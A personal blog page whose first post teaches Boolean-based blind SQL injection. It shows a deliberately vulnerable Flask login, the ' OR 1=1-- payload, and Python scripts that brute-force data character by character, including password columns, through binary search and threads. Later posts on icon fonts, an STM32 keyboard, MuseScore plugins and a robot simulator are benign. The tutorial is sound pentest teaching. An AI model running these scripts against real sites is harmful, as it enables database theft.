TrebledJ's Pages

Automating Boolean-Based SQL Injection with Python

2024-08-10T00:00:00Z

When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to exploit — Boolean-Based SQLi.

Tedious, heavily-repetitive tasks often present themselves as nice opportunities for automation. In this post, we’ll review Boolean-Based SQL Injection, and explore how to automate it with Python by starting with a basic script, optimising, applying multithreading, and more. We'll mainly focus on high-level approaches towards automation and keep our code snippets short.

The end result is a script which automates network requests and brute-forcing into a nice interface:

^{Demo of the Python script in a CTF challenge.}

What a long name.

Let’s break it down from right to left:

SQL Injection: an SQL query is combined with a user payload which makes the resulting query behave differently, potentially resulting in sensitive information disclosure or remote code execution.
Blind: SQL output is not returned directly in the response, but indirectly by some other indicator, such as a boolean response or time.
- Sometimes, this term is dropped when discussing Boolean-Based SQLi, because Boolean-Based implies Blind.
Boolean-Based: the attacker crafts SQL queries that return a TRUE or FALSE response based on the injected conditions. This could appear as:
- different status codes (e.g. 302 redirect on success, 401 on fail),
- different response body (e.g. error messages, full search results), or
- (rarely) different headers (e.g. Set-Cookie).

By carefully analysing the application's response to these manipulated queries, we can extract data bit by bit, deduce the structure of the database, and potentially leak sensitive data.

Each DBMS has unique functions and grammar, so the SQLi syntax may be different. In MySQL, we can extract individual characters using the SUBSTRING() function and convert them to numbers with ASCII().¹

By comparing the values with ASCII numbers, we can determine the character stored.

Simple SQLi Example

So what does this look like practically?

Here we have a simple Flask server with an in-memory SQLite database containing a login endpoint. The login() function is simple: check if the username and password exists in the DB. If it exists, then login is successful.²

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # Check if username/password exists.
    query = "SELECT * FROM users WHERE username='{}' AND password='{}'".format(username, password)
    c = conn.cursor()
    c.execute(query)
    user = c.fetchone()

    if user:
        return 'Login successful!'
    else:
        return 'Login failed.'

This is vulnerable to SQL injection, since the username and password parameters are formatted into the query without any sanitisation and without using prepared statements. But this is blind SQLi, because the results are not returned, only "Login successful" or "Login failed".

To exploit this, we start by crafting a proof-of-concept. We'll pass ' OR 1=1-- to the username parameter, transforming the query into:

SELECT * FROM users WHERE username='' OR 1=1-- ' AND password='...'

where everything after -- is treated as a comment.

Since 1=1 is always true, all users will be selected, and the page returns: "Login successful".

Using this, we can detect TRUE responses by checking if the body contains "success".

Moreover, we can leak further information by changing 1=1 to other guessy queries. For instance, we can use this bad boy — UNICODE(SUBSTRING(sqlite_version(), 1, 1))=51 — to test if the first character of sqlite_version() is '3'. This is where the tedious part comes in: we need to scan two variables: the index and the ASCII character. Scripting helps eliminate this manual labour.

We can use this simple script to brute-force the remaining characters:

import requests

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    url = 'http://127.0.0.1:5000/login'
    data = {
        'username': '1',
        'password': f"' OR UNICODE(SUBSTRING({sql_query}, {idx}, 1)) = {guess} -- "
    }
    r = requests.post(url, data=data)
    return 'success' in r.text

max_data_len = 256
final_data = ''

# SQL's SUBSTRING uses 1-based indexing.
for idx in range(1, max_data_len):
    for guess in range(1, 128):
        if check_sql_value('sqlite_version()', idx, guess):
            final_data += chr(guess)
            print(final_data)
            break
    else:
        # No valid ASCII chars found. Probably end of string.
        break

Output:

_(collapse)

Optimisations with Binary Search

One quick and simple optimisation whenever we’re searching an ordered sequence is to apply binary search. This drastically reduces the max number of requests for each character from 96 to 7.³

This is a good thing for real life engagements: fewer iterations → less traffic → more sneaky → better opsec.

Normally, binary search relies on three possible outputs for a test: =, <, and >. But it is possible to make do with just two possible outputs: < and >=. If it’s less, we eliminate the upper half; otherwise, we eliminate the lower half.

def binary_search(val: int, low: int, high: int) -> int:
    """Binary search for value between low (inclusive) and high (exclusive),
    assuming the guessed value is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        print(f'{low:3} - {high:3}\tGuess: {mid:4}')
        if val < mid:
            high = mid  # Eliminate upper half.
        else:
            low = mid   # Eliminate lower half.

Here’s a quick example, where we progress towards 125 in 7 steps (which will translate to 7 HTTP requests later on).

print('result:', binary_search(125, 0, 128))
  0 - 128       Guess:   64
 64 - 128       Guess:   96
 96 - 128       Guess:  112
112 - 128       Guess:  120
120 - 128       Guess:  124
124 - 128       Guess:  126
124 - 126       Guess:  125
result: 125

In the code snippets above, val is known for demo purposes. But in reality, val is unknown; it’s the data we’re trying to exfiltrate. To be more realistic, let's replace the val comparisons with a function check_sql_value() which sends network requests.

def binary_search(sql_query: str, idx: int, low: int, high: int) -> int:
    """Find the value of sql_query using binary search, between
    low (inclusive) and high (exclusive). Assuming the guessed value
    is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        if check_sql_value(sql_query, idx, mid):
            high = mid
        else:
            low = mid

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    # Make web request to check ASCII(SUBSTRING(sql_query, idx, 1)) < guess.
    # And then check if the response is a TRUE or FALSE response.
    ...

for idx in range(1, 256):
    val = binary_search("@@version", idx, 0, 128)
    # Handle `val`...

The idea here is we can pass an SQL query, such as @@version or sqlite_version(), followed by the index and expected ranged.

binary_search("@@version", idx, low, high)

We can make the code more generic or flexible, but the underlying idea is there.

More SQL Tricks

Not all types of data are easy to exfiltrate. Here are some tricks I've picked up (some of which could be scripted):

Use subqueries to select data from arbitrary tables.
- e.g. ASCII(SUBSTRING((SELECT password FROM users LIMIT 1 OFFSET 5), 1, 1))
Use GROUP_CONCAT to combine multiple rows into one row. This function is available in MySQL and SQLite.
- Subqueries only work when 1 row and 1 column is selected.
- Occasionally, there is a lot of data across multiple rows.
  - We can use LIMIT (or TOP for SQL Server) to restrict the data to one row.
  - Or we could GROUP_CONCAT to capture more data in a single subquery. Then there would be one less number to change.
Cast SQL output to char/varchar to capture numbers, dates, and other types.
- e.g. CAST(id AS VARCHAR(32)) in MySQL
- Cast with NULL, may not work. Additional NULL-checks may be needed.

Adding Multithreading

Now that we've optimised the reading of a single character, can we also speed up the reading of an entire string?

Yes! Thanks to concurrency! For this, we'll reach for Python's built-in concurrent.futures library, which provides several high-level threading tools. The choice boils down to using threads (via ThreadPoolExecutor) or processes (ProcessPoolExecutor), and considering how data/processing is distributed.

Threads vs. Processes

Time for a quick comparison.

Threads:

lightweight and quick to create
shares memory with main process
one GIL to rule them all
recommended for IO-bound tasks (network, requests)

Processes:

slower to create
doesn't share memory
each process has their own GIL
recommended for CPU-bound tasks (intense computations, calculations)

Note: GIL behaviour may change in Python 3.13+, so expect some updates in the (concurrent.)future.

Reference: StackOverflow – Multiprocessing vs. Threading in Python

Using ThreadPoolExecutor

In the end, I used ThreadPoolExecutor, since our code was constrained by network requests. The shared memory also means we don't need to worry about parameters and duplication as much. Even though the GIL prevents us from (strictly) executing in parallel, we do observe some speedup.

In the code snippet below, we create a task for each character of the string. (Assume the length of the string is known.) When a thread finishes searching for a character, the thread is recycled and picks up the next task, then the next, and so on until all tasks are done.

We can process finished tasks as they roll in using concurrent.futures.as_completed.

with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:
    future_map = {}

    # Create a task for each character.
    for idx in range(length):
        future = executor.submit(get_by_bsearch, f"ASCII(SUBSTRING(({sql}),{idx+1},1))", 0, 128)
        future_map[future] = idx

    # Handle finished tasks concurrently.
    for future in concurrent.futures.as_completed(future_map):
        idx = future_map[future]
        ch = future.result()
        # We found the character at a particular index!
        # Store it somewhere...
        somewhere[idx] = ch

The length of the string can be determined beforehand with another binary search. Assuming the max length is 2048...

length = get_by_bsearch(f"LENGTH(({sql}))", 0, 2048)

Adding Comfort Features

Aside from a tool’s utility, we should also consider user experience. We want to design the tool to be convenient for ourselves, and potentially other users. For instance, we shouldn’t have to modify code to change general settings (e.g. the target URL). And it'd be nice to have visual feedback; waiting can be boring.

Here are some things we'll add to our automation:

Command Line Arguments
Progress Bar
Interactive Interface

At this point, it’s mostly about choosing mature libraries, looking at documentation, and playing around with code. I’ll list some libraries I found useful/interesting.

Command Line Arguments

argparse, built-in, robust, used almost everywhere
python-fire, convenient wrapper which generates command-line arguments from function annotations. (Looks interesting but I haven’t used.)

Progress Bar

Common options are:

rich, colourful, great look-and-feel
tqdm, traditional rectangular progress bar

Some challenges arise when mixing progress bars with multithreading. In general...

Dropping to a lower-level API helps alleviate issues. For example, rich allows you to control how tasks are added, updated, and removed.
KeyboardInterrupt and Exceptions should be carefully handled. You do want ^C to work right?
- "Boss, we accidentally swamped the hospital's database with our script. Their server was weak."
- "Stop it! Millions of lives are at stake!"
- "We can't... Control-C doesn't work!"
- "You leave me no choice." (pours water over computer)

Interactive Interface

Instead of modifying the shell command on each SQL change, it would be nice to have an interactive, shell-like program for running SQL statements. Throwing input() in a while-loop could work, but doesn't have the usual shortcuts (e.g. up for previous command⁴). To have a nicer, cross-platform terminal interface, we can use:

prompt_toolkit
- Has the usual terminal shortcuts: up, down, reverse search ^r.
- Command history can be stored in a file so that it persists across runs.

The implementation is as simple as replacing input() with prompt.prompt().

Before:

sql = input("sqli> ")

After:

prompt = PromptSession(history=FileHistory(".history"))
sql = prompt.prompt("sqli> ")

Conclusion

In this post, we introduced Boolean-Based Blind SQL injection, how it can be used to enumerate a database, and some optimisations and workarounds for exfiltrating data more reliably. We also explored some useful Python libraries to glue onto your project.

Automation and scripting can be a powerful time saver when the need exists. We identified a tedious task — brute forcing characters for possibly long strings — and followed up with incremental changes. Hopefully the reader has picked up a few tips on automation.

Footnotes

Unicode characters are trickier to deal with. One possible way is to cast the number on the RHS with CHAR. (This is the method SQLmap uses.) Another possible way in MySQL is to use ord, which maps multibyte characters to base-256. Character encoding is hard. :( ↩︎
Full code for the Flask + SQLite demo is uploaded on GitHub for reference. ↩︎
This should make sense in bit terms. We only need 7 queries to figure out the 7 bits of an ASCII character. (The first bit is assumed to be 0.) Most Boolean-Based SQLi throwaway scripts don't do binary search because the algorithm is tricky to get right. But it's useful to know, and can be applied to time-based SQLi (another type of blind SQLi) as well for massive time discounts. ↩︎
Although in Windows, this appears to be built-in?! At least Windows or Python on Windows does one thing well. 🤷‍♂️ ↩︎

Optimising Web Icons for Fun

2024-05-23T00:00:00Z

I decided to spend this Labour Day doing a bit of frontend performance engineering, learning Typescript along the way. I've been eyeing my Font Awesome (FA) assets for a while, and lately they've been a curious itch.

Here’s the dealio: icon webfonts are known to bundle all icons. This includes icons we don't use. For Font Awesome, this means the browser downloads 19kB CSS + 287kB WOFF2 gzipped data. But my site just uses 40 out of 2000… why download so much?¹

I should take a step back. There are generally two established ways to handle icons on the web: 1) webfonts (plus CSS), and 2) inline SVGs (Scalable Vector Graphics). As its name suggests, SVGs scale nicely to any screen size and remove the need for font files. Both have their use cases, but the modern web recommends SVGs for general cases.

Due to historical reasons, this site uses webfonts; and unfortunately, replacing webfonts with SVGs is not a simple find-and-replace. If it were, I would've included it in this analysis. After a painful struggle migrating a few icons, I decided to postpone migration. Didn't really feel like tuning CSS.

So I turned my attention to slimming down webfonts like Garfield doing cardio. But before I explain the process, let's understand how icon webfonts work.

Icon Webfonts Under the Hood

Fonts and Unicode

There are various font formats: WOFF, TrueType, OpenType. These are essentially different ways to compress and store fonts. WOFF2, for instance, is a modern compression format optimised for the web.²

Ultimately, fonts are mappings from integer codepoints to glyphs. These codepoints are standardised by the Unicode Standard and are expressed in the format U+[0-9A-F]{4,6}, i.e. “U+” followed by 4-6 hexadecimal digits. For example, the number U+0030 maps to "0", and U+0041 maps to "A", U+2206 maps to "∆" (delta), and U+6C34 maps to "水".

Codepoints are not to be confused with UTF-8, UTF-16, and UTF-32, which are different ways to efficiently store Unicode characters in byte format.

You may be wondering: so what codepoints map to icons? This is up to icon packs to define. Since most icons are custom by nature, they're usually placed in custom regions known as Private Use Areas, reserved by the Unicode Standard. One such region is U+E000 – U+F8FF.

Fonts and CSS

For webfonts to work, codepoints need to exist in the HTML text. But that's terribly inconvenient — writing magic numbers makes for hard-to-maintain code.

This is where CSS comes in. Specialised CSS rules connect the HTML code to the exact font glyph via a two-step process: 1) identifying the font file and 2) identifying the codepoint. Once the browser has these two pieces of information, it can render the glyph.

Suppose we write the following HTML code:

<i class="fas fa-rocket"></i>

The font file is determined by matching the assigned font with the custom font face. The fas class is key here.

.fas {
  font-family: "Font Awesome 6 Free"
  font-style: normal;
  font-weight: 900;
}

@font-face {
    font-family: "Font Awesome 6 Free";
    font-style: normal;
    font-weight: 900;
    font-display: block;
    src: url(../webfonts/fa-solid-900.woff2) format("woff2"), url(../webfonts/fa-solid-900.ttf) format("truetype")
}

The codepoint is inserted with a :before pseudo-element. For fa-rocket, this is U+F135.
```
.fa-rocket:before {
  content: "\f135"
}
```
CSS

It's a lot of indirection, and this is one reason why SVGs are preferred; but hey, this was the gold standard a decade ago.

Multiple Variants

To complicate matters, FA fonts have different variants, and they modularise this by using the same codepoint, but separate font files. Not all fonts do this though. Devicon packs all their styles into a single font file. Here are some examples of FA styles.

	Solid	Regular	Brands
`fa-star` (U+F005)
`fa-user` (U+F007)
`fa-thumbs-up` (U+F164)
`fa-github` (U+F09B)

An Icon Dieting Plan

With the backstory out of the way, let's discuss the high-level algorithm.

In my mind, all we have to do is post-process the generated static files like so:

Crawl the HTML files for a Font Awesome CSS. Parse the CSS and associated WOFF2 font files.
Crawl the HTML files (and perhaps other files) for used icons.
Construct a font file containing the minimum icons. We may also need to remap codepoints to resolve clashes.
Construct a CSS file containing the new mappings from icon class (e.g. .fa-star) to codepoint.
Write the CSS and font files.
Replace the original CSS links with the new CSS file.
Celebrate!

To no one's surprise, this shaved off more than 97% bytes. A success! Or is it?

Where speed?

As with many things in engineering, one metric rarely provides good coverage.

After integrating the minification into my build process, I excitedly waited for the site to build. I opened Chrome dev tools, loaded my site, and... what?! It was slower? Okay, maybe it was the first load, and the page wasn't cached on the edge.

But even after refreshing multiple times, the Time to First Byte (TTFB) was roughly the same compared to loading the original files.

The answer? CDN.

What is a CDN? CDNs (Content Delivery Networks) are servers deployed all over the globe, optimised to deliver assets such as JS, CSS, images, and fonts.

Moreover, if the file is guaranteed to not change (e.g. a versioned library asset), then the server can return a high browser cache duration, typically 1 year. Subsequent requests can just reuse the downloaded file.

The original files are delivered over a CDN. On the other hand, the minified files are served from Cloudflare Pages, which aren't optimised for low-latency delivery. Further, CF Pages may modify the URL/request/response via Page Rules or Cache Rules, and this extra server-side processing takes a toll on the response speed.

I benchmarked the response speed of delivery by CDN versus the site directory. The methodology is simple: collect download times from multiple points around the world, repeat this a couple times, and find the median. And we perform this for 6 different asset files.

Turns out, cdnjs.cloudflare.com delivers almost 50% faster.

Asset	Total Time (in ms)³	Total Time x3 (in ms)⁴
CSS (cdn; unminified)	17	-
CSS (site; unminified)	29	-
CSS (site; minified)	29	-
Font (cdn; unminified)	21	63
Font (site; unminified)	38	114
Font (site; minified)	47⁵	-

^{Font Awesome Free 6 benchmark for downloading assets from a CDN vs Cloudflare site. Here, unminified/minified refers to whether files contain excess icons; it does not refer to excess whitespace. The expectation is that minified assets are faster. (Data)}

I did leave out one detail though. The minified font is packaged in one file. The original FA fonts are delivered in three, separate files (Solid, Regular, Brands). If we account for this by multiplying unminified font results by a factor of 3, I think it's fair to say we have ourselves a win.

Another thing to consider: CDN assets may also be used by other sites, meaning the assets may already be cached. 10 sites using the same CDN font asset is better than 10 sites using minified font assets. If we browse these 10 sites, the former gives 1 set of downloads + 9 cache hits, while the latter has 10 sets of downloads + 0 cache hits.

Aside from the glaring potential for a delightful, thought-provoking discussion on collectivism and individualism, this begs the question: is it really worth it?

Cache Busting with Cloudflare Cache Rules

Similar to a CDN, we would like to take advantage of browser cache by providing a high cache time. This way, if the user visits the site across the week, they wouldn't need to re-download the measly 8kB of gzipped assets. This is ideal for sites that update sporadically.

You're probably thinking — come on, it's just 8kB, are you masochistic? And my response would be: it's a potential saving of 100ms for return visitors, and yes.

By default, Cloudflare Pages has a browser cache time of 4 hours. We can change this duration by modifying the Cache-Control header.

^{Create a cache-busting rule for URI paths starting with /cb/.}

^{Set the cache time to 1 century year.}

^{It works!}

We've applied cache-busting to the /cb/ path. All that's left is to make sure our new assets are written to _site/cb/; but more importantly, that the file name changes between different versions. This is super important.

If we updated our CSS/font file, we need to tell the browser: "Hey! Download and cache the new version online. Don't use the old cached file!" Changing the file name is the best way to force a cache-miss. Nothing complex. We can just append the file hash to each file.

I used the first 8 bytes of MD5, but any common hash will do. Now our files resemble /cb/webfonts/icons-10736075e7883838.woff2.

We just need to propagate this to our CSS, then HTML files, and we're done!

Closing Remarks

The code is a bit of a handful, but I've uploaded it on GitHub: TrebledJ/icon-minifier. Taking inspiration from other projects, I designed it to work as a CLI tool, but you can also import the API. Currently, it only handles Font Awesome fonts. I may add other webfonts later, and maybe have an SVG integration. Pull requests are welcome.

I should also point out that icon minification isn't a new problem. In fact, there are some general solutions designed to minify fonts. These are designed to compress fonts with many characters such as Chinese, Korean, and Japanese; though some work with icons too. Of the three, Font Spider has the most comprehensive features.⁶

Given the mediocre results, I'll continue keeping an eye on CDN performance and perhaps move on to better alternatives. Next step: mentally prepare myself to wrangle some CSS, and migrate to SVGs.

Footnotes

287kB gzipped comes from fa-brands, plus fa-regular, plus fa-solid. Fortunately, these variants are only downloaded if used. 2000 icons just counts solid, regular, and brands. Imagine the number of icons if premium FA was used! ↩︎
Google Font Glossary: Web Font ↩︎
Total Time includes DNS resolve time + connection time + download time. Times are sourced from uptrends.com. (Not sponsored. It just seems to have the largest coverage.) ↩︎
Total Time x3 applies when multiple font files are downloaded. This is used to provide a more accurate representation of resources used. ↩︎
The deviation between "Font (site; unminified)" and "Font (site; minified)" is most likely due to network latency and jitter. ↩︎
It even has a punny Chinese name! 字蛛! ↩︎

STM32 MIDI Keyboard

2022-12-20T00:00:00Z

This project was made for a course on embedded systems and is published online.

Synopsis

The STM32 MIDI Keyboard was a project aimed to practice embedded systems design while also have fun developing a tactile music application. Here are some features found on the keyboard:

2+ octaves (29) piano keys to flexibly play various melodies
Supports multi-press, so that we aren't stuck with boring one-note tunes and can play chords
Volume control, so that we don’t disturb our neighbours
Metronome, in case the user can’t keep track of tempo
TFT display and menu selection
Record and playback music (supports multiple channels!)
Load/store MIDI in flash memory, in case power runs out
Send MIDI signals through Serial USB (UART)
- Receiving is handled by a script (receive.py)
Extra fanciful features:
- Transpose: shift pitches up/down on the diatonic scale
- Auto-Chord: quality-of-life function to play octaves, triads, and open triads by just pressing the root key
- Instruments: supports playback of sine, triangle, square, and sawtooth signals

Development

I was lucky to work with another member of the Robotics Team at HKUST. She did the electrical work of designing and soldering the PCB. Both of us weren't familiar with mechanical design, so we ended up sticking things onto plywood and screwing things up together. But hey, at least it's a minimum viable product.

Although the course provided us with a multi-functional board (STM32F103VET6), we ended up using with a different board (STM32F405). The F4 series comes with more processing power, flash memory, and RAM. These are important considerations when it comes to a real-time music system. Audio buffering needs to be fast and steady, and sufficient memory is required for storage and buffering.

We used C++20 for the project.¹ Although most objects and peripherals were singletons, classes (and templates!) proved useful, especially for containers (such as a fixed-size vector). C++ also allowed us to have static reflection for enums, thanks to magic_enum. The alternative would've been X-macros or hard-coding, both less maintainable options.

Most MIDI keyboards out there don't produce sound by themselves, and sometimes I'd rather just noodle around without having to set up any computer software. So one of our goals was to have the keyboard produce sound. This was pretty straightforward. Slap a timer, DMA, and DAC together, and BAM—non-blocking audio output!

We had more trouble with the speakers. They truly annoyed the heck out of us. Earlier on, we used a pair of small woofers. These were connected to an amplifier (because the voltage delivered by the board's DAC was not enough). The audio output generated when playing one tone (e.g. 440Hz sine) was fine. However for some unknown reason, playing multiple tones (e.g. 440Hz sine + 660Hz sine) was catastrophic. I asked a question on dsp.se, where some users suggested it being a psychoacoustic issue. Thankfully, that was not the case. Eventually we solved the issue by changing to different speakers, the kind used by end-users.

Concluding Remarks

It was quite relaxing and nice to have a (semi-?)personal project developing and designing an embedded application from head to tail. The instructors for the course were really helpful as well.

If you're interested in trying something similar, here are some things we planned but didn't incorporate into our project:

On/off switch
Rechargeable battery
MIDI-USB output + Real-time MIDI input into software
LED backlight under the keyboard?
Stereo audio (L/R)
Reverb/Chorus settings
Note velocity! (Our buttons weren't responsive enough—even though we used the Yamaha ones.)
Better storage (currently we only load/store MIDI for one piece)
Explore and use FluidSynth
More instrument options

I've also published some follow-up tutorials on digital audio synthesis, in case you're interested in getting your feet wet with audio processing:

Footnotes

I was excited to try C++20 modules—which gcc-arm v11 supports!—but CMake doesn't support modules yet. The issue is still ongoing as I write. I think they're trying, but I guess nobody likes dealing with compilation order? C'mon CMake! It's been three years already! ↩︎

MuseScore Navigation Plugins

2022-09-10T00:00:00Z

MuseScore, a music notation desktop application, allows mini-extensions through its QML Plugins. MuseScore is built with the Qt framework and leverages the QML ecosystem for rapid prototyping and user-developed plugins.

QML is a fun language to work with. Generally, the UI is coded in a declarative style and the logic is coded in JavaScript. This, of course, has the downside of losing the static type-checking of C++; so I would often be in the situation where I need to reload and fix things several times before getting it functioning properly.

But the freedom and “I don’t care whether your types are correct” attitude of JS were quite nostalgic. Having played with QML/JS before, I decided I wanted to write some MuseScore plugins for fun ~~and also because I felt a need for them~~.

In this post, I’ll introduce my first set of MuseScore plugins and give a brief developer’s account of them. These plugins aren’t really related to music. Rather, they’re inspired by VSCode plugins and features which I find useful. In a way, the plugins below make MuseScore more of a developer’s second home.

todo-list

An update has been published for MuseScore 4.1+. Please refer to the new release.

View the project on: MuseScore / GitHub.

In software development, to-dos are commonly added into source code as reminders to the poor developers toiling away writing code. To-dos come in many forms: bugs to be fixed, issues to be resolved, feature requests, etc.

Sometimes when composing, I find myself lost in a sea of to-dos. During a composing session, I might drop a to-do note to follow-up on it next time.

Here are some examples of to-dos I might encounter while composing:

TODO: Explore different chord progressions for this transition.
TODO: More brass to this section.
FIXME: Playback sounds wonky.
TODO: Revise counterpoint.
TODO: Add bowing articulation to strings.

To allow for different to-do styles and text, I provided several settings for the user to modify. These are listed in on the GitHub readme.

Developer’s Note

This plugin is inspired by the todo-tree plugin in VSCode, which searches files in the current workspace for TODOs/FIXMEs and lists them in a tree view. I toyed with idea of replicating this on MuseScore—listing to-dos on all open scores—but eventually decided to embrace the KISS principle and just list to-dos for the current score.

When starting, I took reference of jeetee’s annotation plugin. I noticed jeetee used Qt Quick Controls 1.0 instead of 2.0 used in some other plugins. Apparently, QML had made some drastic changes to the styling of controls (buttons, checkboxes, etc.). In 1.0, controls used the native style (e.g. Apple’s aqua style for macs). On the other hand, 2.0 controls require developers to customise styling; this may sound great for design flexibility, but in my experience it’s annoying to get it working with both light and dark themes.

^{Qt Quick Controls 1.0 vs 2.0. The latter comes with barely any default and takes more effort to properly set up.}

Implementation-wise, the todo-list plugin aims to be self-contained and simple. Self-contained, meaning that everything is in a single .qml file, so that the user doesn’t need to bother with structure too much. Simple, meaning that it doesn’t store too much metadata. The plugin only stores the configuration options mentioned above. I avoid storing data such as measure and staff—which are alike the x and y position in a score—because things get messy when the stored to-do is displaced, e.g. when a user inserts a bunch of measures or removes an instrument.

Even though I’ve used Qt before, I was still surprised with how easy it was to set up a form dialog to configure user settings. Just slap together a Dialog, GridLayout, several Labels and TextFields, code the logic, and violà—we have our settings dialog.

History

View the project on: MuseScore / GitHub.

This plugin keeps track of where your cursor has been so that you can easily jump back and forth between different points in time (effectively making you a time traveller!).

When programming in an IDE, it is sometimes necessary to jump to a different part of code, then jump back to where you were before. For example, you might want to check the implementation of a certain function.

Similarly, when editing a score one might wish to visit a section, perhaps copy something, then return to their previous position.

The History module comprises three separate plugins:

Go Back,
Go Forward, and
the UI.

The first two are action plugins—plugins without any visual component, and just run—whereas the third contains a simple UI. The need for a UI makes the module slightly inflexible for reasons explained below.

Developer’s Note

There are some limitations to this module, the root cause being the limited MuseScore plugin API.

For the plugins to work properly, the UI plugin must be activated at all times. This plugin is responsible for recording cursor positions, since MuseScore does not provide a way for plugins to record score/cursor information in the background. We could start a subprocess, keylog user input, and interpret it to determine where the cursor currently is… but this is of course out of the question, it’s much too tedious and not worth the effort.

Another drawback is that plugins can’t jump across scores. This is very convenient in IDEs when you have several files open and want to quickly check/copy something from a different file. In MuseScore however, this simply isn’t possible (as far as I could see). So for now, we’ll have to be content with keeping cursor history isolated within each score.

Bookmarks

View the project on: MuseScore / GitHub.

Marks down a section, saving it so that you can easily return to it later without the pain of scrolling.

This is really useful for large scores, where scrolling from front to middle to end can be pain. An existing built-in way to jump around sections is to use rehearsal marks plus MuseScore's timeline. However, I find this insufficient since a rehearsal mark only carries horizontal positioning info (measures), but not vertical positioning info (staffs).

The Bookmarks module comprises four plugins:

Go to Previous Bookmark,
Go to Next Bookmark,
Toggle Bookmark at Cursor, and
Clear All Bookmarks.

All of these are action plugins, so in my mind they’re fairly simple and straightforward.

Developer’s Note

This module was inspired by the VSCode bookmarks plugin. In VSCode, bookmarks allowed you to jump between bookmarks across files and long stretches of code. Sadly alike History, Bookmarks doesn’t jump across files.

Something else to note—and this applies to all my plugins here: currently, I use a rather hacky method to jump to the selected notes:

cmd("note-input")
cmd("note-input")

We call the command twice to toggle between the two different modes (default and note-input).

However, when jumping to a specific measure + staff, MuseScore will scroll to the correct measure, but not the staff. Logic-wise, nothing is affected since the correct measure + staff are selected. The problem is just a UI issue which the MuseScore Plugins API doesn’t have a solution for. 😢

For History and Bookmark, I decided to use separate JS files to hold all the logic. This promotes code reuse. For example, both History: Go Back and History: Go Forward use the same underlying function to iterate across the score.

I tried commenting my code cleanly, in case I need to come back to it later; I’m quite forgetful.

JavaScript’s lack of type checking really irks me. I’m toying with the idea of using TypeScript and compiling the file to JavaScript for testing. I’ve already set up a MakeFile for packaging (zipping) the files anyway, so might as well add a rule that compiles .ts into .js and gain type safety.

Epilogue

If you’ve read this far, then you’re probably aware that these plugins aren’t perfect. But most of these issues can't be trivially fixed due to limitations with the Plugin API.

In my development roadmap, I’ve planned several new (music-related!) plugins. As MuseScore 4 is coming out, I’ll also need to plan the maintenance of the above plugins.

If you’re interested in using the plugins or contributing, you can check the MuseScore or GitHub links below.

To-Do List: MuseScore / GitHub.

History + Bookmarks: MuseScore / GitHub.

Thanks for reading, and happy musing!

Robot Design Contest Simulator

2020-12-10T00:00:00Z

This project was part of a recruitment phase for the HKUST Robotics Team. We used Qt for the GUI and Box2D for physics. The public-facing side of the project is uploaded online, and the desktop applications are available for download, but the source code is kept hidden. This post will provide some context and thought processes behind the design.

Context

Every year, the HKUST Robotics Team will host a set of training sessions followed by an internal competition (aka a Robot Design Contest or RDC) for trainees to test their mettle and skills. Trainees are segregated into mechanical, hardware, and software divisions, each division training a different skill set. In the RDC, trainees are grouped such that there is a fair distribution of trainees from each division.

Our RDCs generally work as follows:

Seniors construct game rules and game field (combining elements of ABU Robocon, MATE ROV, and NXP Cup Smart Car competitions). Usually the game is in a 1v1 (team vs team) format, which makes for a competitive and riveting atmosphere.
Trainees read and understand game rules.
Trainee teams construct, wire, and develop their robots to play the game described by the game rules.
On game day, teams bring in their robots to the constructed game field and compete.
Afterwards, trainees are evaluated by peers and seniors.

This year, the RDC game involved a robot tasked with picking up tennis balls and ping-pong balls from a basket. The robot needs to navigate a complex field with various obstacles.

Under normal circumstances, the training and RDC are held in a face-to-face mode, so that trainees are actively engaged and participating. But due to the Covid-19 pandemic and restrictions set in Hong Kong, we had to move the aforementioned events online.

With the RDC online, mech, hardware, and software divisions became more segregated. As trainees could not access our robotics lab, materials, and tools, the mech and hardware divisions had to settle with drawing SolidWorks/PCBs which are then reviewed and assessed by seniors. In the software division, we tested candidates' technical and collaborative skills with the RDC Simulator.

In the rest of this post, I'll use the terms "trainee" and "user" interchangeably. I'll also use the term "User Program" to refer to the program that software trainees are tasked to write.

High-Level Overview

To give an idea of what the simulator looks like, here's a little annotated screenshot of an early version:

Its core features?

A simulation area. This is where the robot is displayed and simulated. The position of the robot and its enabled sensors/motors are drawn, along with the bounding boxes of the obstacles. (Yes, collision detection exists.)
Components display. This lists the values of various sensors, useful for debugging. Most sensors have numeric values. The camera is a bit special, and attempts to render a 3D image (by perspective transform).
Configuration: We want trainees to be able to configure compile options (although the choice of compiler itself is fixed, GCC for Windows/Linux, clang for macOS). Trainees can also select the folder where their program code is stored.
Playback controls. Trainees have some control over the playback: reset, start, and stop. (No pausing though.)
Logging. This is where logging is displayed, log messages from both the simulator and user program will be fed here.

With this GUI in mind, the basic user flow for trainees is:

Write code in an IDE of their choice.
Open the simulator program.
Select the folder where their code is stored.
Click the "Run" button.

After pressing "Run", the simulator does the rest of the magic. It compiles the user's code, runs it in a subprocess, and connects with it via standard I/O. The simulation takes into account user commands and physics, simulating at roughly 40 FPS (rather slow, but it'll have to do >_<).

In a later version, there is a "Demo" mode which allows trainees to see how many points they've accumulated according to the game rules.

Planning

This year's RDC was held from November to December 2020. We only started developing the simulator in August. Since we lacked time and had to make room for studying, we had to flesh out and plan the simulator early on. We came to the following conclusions:

The available sensors and motors are limited (max 1 camera, 4 magnetic sensors, 5 line sensors, 4 IR sensors, 2 motors for wheels, 1 grabbing mechanism, 1 throwing mechanism).
The simulated chassis (robot body) is the same for all software teams. Each body has a rectangular shape and a cow-eye wheel near the back.
The advanced mechanisms (grabbing/throwing) are the same for all software teams.

In robotics, a program is usually compiled then transferred over to a microcontroller. The program typically has direct access to control all the necessary peripherals and actuators (e.g. GPIO pins to read button input and toggle LEDs, functions to tell a motor how fast to spin). But this year the trainees do not have this grand luxury.

Instead of writing a program that can touch the peripherals and actuators, trainees write a program which communicates with the simulator via standard I/O. In a microcontroller, GPIO pins can be accessed and read directly; but in the RDC simulator, GPIO data is provided from standard input. If an object is detected, the GPIO pin outputs a 1. Otherwise, it outputs a 0.

